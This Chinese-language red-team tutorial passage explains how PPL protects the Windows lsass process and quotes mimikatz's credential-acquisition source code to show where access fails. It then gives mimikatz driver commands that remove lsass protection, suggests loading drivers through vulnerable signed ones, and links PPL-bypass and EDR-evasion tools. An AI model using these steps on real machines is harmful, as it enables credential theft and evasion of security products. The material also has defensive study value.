PPL
随着 mimikatz 的风靡,微软也开发出了响应的防御措施,例如 PPL。对于 IT 管理员,PPL 非常容易部署,绝对是 quick-win,虽然 PPL 是可以被绕过的,但至少给导出凭证操作增添了额外的难度。我们说过,Windows 有 4 种完整度等级,而 PPL,则是更高级的,这意味着即便是 SYSTEM 权限也无法访问被 PPL 保护的进程,而 lsass 支持 PPL保护。我们可以在注册表的如下位置添加 RunAsPPL 从而启用 PPL。
对于启用了 PPL 的主机,无论是用 nanodump 还是 mimikatz 或其他类似工具,我们都无法正常导出 lsass 进程。nanodump 的报错告诉我们,无法获得对 lsass.exe 进程的句柄,即便我们已经是 SYSTEM 特权了。
我们查看 mimikatz 相关部分的代码:
NTSTATUS kuhl_m_sekurlsa_acquireLSA()
{
NTSTATUS status = STATUS_SUCCESS;
KULL_M_MEMORY_TYPE Type;
HANDLE hData = NULL;
DWORD pid, cbSk;
PMINIDUMP_SYSTEM_INFO pInfos;
DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
BOOL isError = FALSE;
PBYTE pSk;
if(!cLsass.hLsassMem)
{
status = STATUS_NOT_FOUND;
if(pMinidumpName)
{
Type = KULL_M_MEMORY_TYPE_PROCESS_DMP;
kprintf(L"Opening : \'%s\' file for minidump...\n", pMinidumpName);
hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
}
else
{
Type = KULL_M_MEMORY_TYPE_PROCESS;
if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
hData = OpenProcess(processRights, FALSE, pid);
else PRINT_ERROR(L"LSASS process not found (?)\n");
}
if(hData && hData != INVALID_HANDLE_VALUE)
{
if(kull_m_memory_open(Type, hData, &cLsass.hLsassMem))
{
if(Type == KULL_M_MEMORY_TYPE_PROCESS_DMP)
{
if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream, NULL))
{
cLsass.osContext.MajorVersion = pInfos->MajorVersion;
cLsass.osContext.MinorVersion = pInfos->MinorVersion;
cLsass.osContext.BuildNumber = pInfos->BuildNumber;
#if defined(_M_X64) || defined(_M_ARM64)
if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64))
PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_AMD64 (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_AMD64);
#elif defined(_M_IX86)
if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL))
PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_INTEL (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_INTEL);
#endif
}
else
{
isError = TRUE;
PRINT_ERROR(L"Minidump without SystemInfoStream (?)\n");
}
if (pSk = (PBYTE)kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, (MINIDUMP_STREAM_TYPE)0x1337, &cbSk))
{
kprintf(L" > SecureKernel stream found in minidump (%u bytes)\n", cbSk);
pid = kuhl_m_sekurlsa_sk_search(pSk, cbSk, TRUE);
kprintf(L" %u candidate keys found\n", pid);
}
}
else
{
#if defined(_M_IX86)
if(IsWow64Process(GetCurrentProcess(), &isError) && isError)
PRINT_ERROR(MIMIKATZ L" " MIMIKATZ_ARCH L" cannot access x64 process\n");
else
#endif
{
cLsass.osContext.MajorVersion = MIMIKATZ_NT_MAJOR_VERSION;
cLsass.osContext.MinorVersion = MIMIKATZ_NT_MINOR_VERSION;
cLsass.osContext.BuildNumber = MIMIKATZ_NT_BUILD_NUMBER;
}
}
if(!isError)
{
lsassLocalHelper =
#if defined(_M_ARM64)
&lsassLocalHelpers[0]
#else
(cLsass.osContext.MajorVersion < 6) ? &lsassLocalHelpers[0] : &lsassLocalHelpers[1]
#endif
;
if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
{
#if !defined(_M_ARM64)
kuhl_m_sekurlsa_livessp_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8);
#endif
kuhl_m_sekurlsa_tspkg_package.isValid = (cLsass.osContext.MajorVersion >= 6) || (cLsass.osContext.MinorVersion < 2);
kuhl_m_sekurlsa_cloudap_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1909);
if(NT_SUCCESS(kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem, kuhl_m_sekurlsa_findlibs, NULL)) && kuhl_m_sekurlsa_msv_package.Module.isPresent)
{
kuhl_m_sekurlsa_dpapi_lsa_package.Module = kuhl_m_sekurlsa_msv_package.Module;
if(kuhl_m_sekurlsa_utils_search(&cLsass, &kuhl_m_sekurlsa_msv_package.Module))
{
status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations);
if(!NT_SUCCESS(status))
PRINT_ERROR(L"Key import\n");
}
else PRINT_ERROR(L"Logon list\n");
}
else PRINT_ERROR(L"Modules informations\n");
}
else PRINT_ERROR(L"Local LSA library failed\n");
}
}
else PRINT_ERROR(L"Memory opening\n");
if(!NT_SUCCESS(status))
CloseHandle(hData);
}
else PRINT_ERROR_AUTO(L"Handle on memory");
if(!NT_SUCCESS(status))
cLsass.hLsassMem = kull_m_memory_close(cLsass.hLsassMem);
}
return status;
}
笔者已经标记出了分支语句,根据代码我们得知在 PPL 启用的状态下,OpenProcess 无法访问 lsass.exe 进程,即便是开启了SeDebugPrivilege 特权的本地管理员。
但是正如开头所说,PPL 是可以被绕过的,虽然依旧会给我们增加额外的难度。其中方法之一就是使用 mimikatz 的驱动 mimidrv.sys,移除 lsass.exe 的 PPL保护
!+
!processprotect /process:lsass.exe /remove
在这之后,我们就可以愉快地提取凭证了。但是,攻与防是持续的斗争,虽然 mimidrv.sys 可以帮助我们移除 lsass.exe 的 PPL 保护,但是 mimidrv.sys 会被 AV/EDR 列入黑名单。因此,我们可以编写自己的驱动并且签名,如果觉得这麻烦的话,可以利用具有漏洞的官方驱动在内核空间执行代码(有些类似于通过 LOLBAS 绕过 AppLocker),这样的话我们就能从用户态载入未签名的驱动,例如 PPLKiller (https://github.com/RedCursorSecurityConsulting/PPLKiller) 就是利用了这种技术。
其他一些参考工具:
EDRSandblask: https://github.com/wavestone-cdt/EDRSandblast
PPLDump: https://github.com/itm4n/PPLdump (在最新Win11已经不适用)
pypykatz: https://github.com/skelsec/pypykatz